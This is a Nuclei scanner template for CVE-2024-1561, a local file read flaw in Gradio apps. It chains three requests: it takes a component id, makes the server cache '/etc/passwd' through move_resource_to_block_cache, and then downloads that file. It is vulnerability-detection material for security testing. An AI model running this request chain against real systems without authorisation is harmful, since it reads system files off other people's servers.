1id: gradio-local-file-include
2info:
3  name: Gradio Local File Read Vulnerability
4  author: ozelis, DanMcInerney, byt3bl33d3r
5  severity: high
6  description: This nuclei template checks for Local File Read vulnerability in Gradio applications.
7  reference:
8    - https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338
9    - https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2
10  classification:
11    cvss-score: 7.5
12    cwe-id: CWE-29
13    cve-id: CVE-2024-1561
14  tags: gradio, lfi, local-file-include, python, api, ai, machine-learning, huntr
15requests:
16  - method: GET
17    path:
18      - "{{BaseURL}}/config"
19    extractors:
20      - type: json
21        part: body
22        name: component_id
23        internal: true
24        json:
25          - ".components[0].id"
26  - method: POST
27    path:
28      - "{{BaseURL}}/component_server"
29    headers:
30      Content-Type: "application/json"
31    body: |
32      {
33        "component_id": "{{component_id}}",
34        "data": "/etc/passwd",
35        "fn_name": "move_resource_to_block_cache",
36        "session_hash": "aaaaaaaaaaa"
37      }
38    extractors:
39      - type: regex
40        part: body
41        name: extracted_content
42        internal: true
43        group: 1
44        regex: 
45          - ""(.+)"" 
46  - method: GET
47    path:
48      - "{{BaseURL}}/file={{extracted_content}}"
49    matchers-condition: and
50    matchers:
51      - type: regex
52        regex:
53          - "root:.*:0:0:"
54      - type: status
55        status:
56          - 200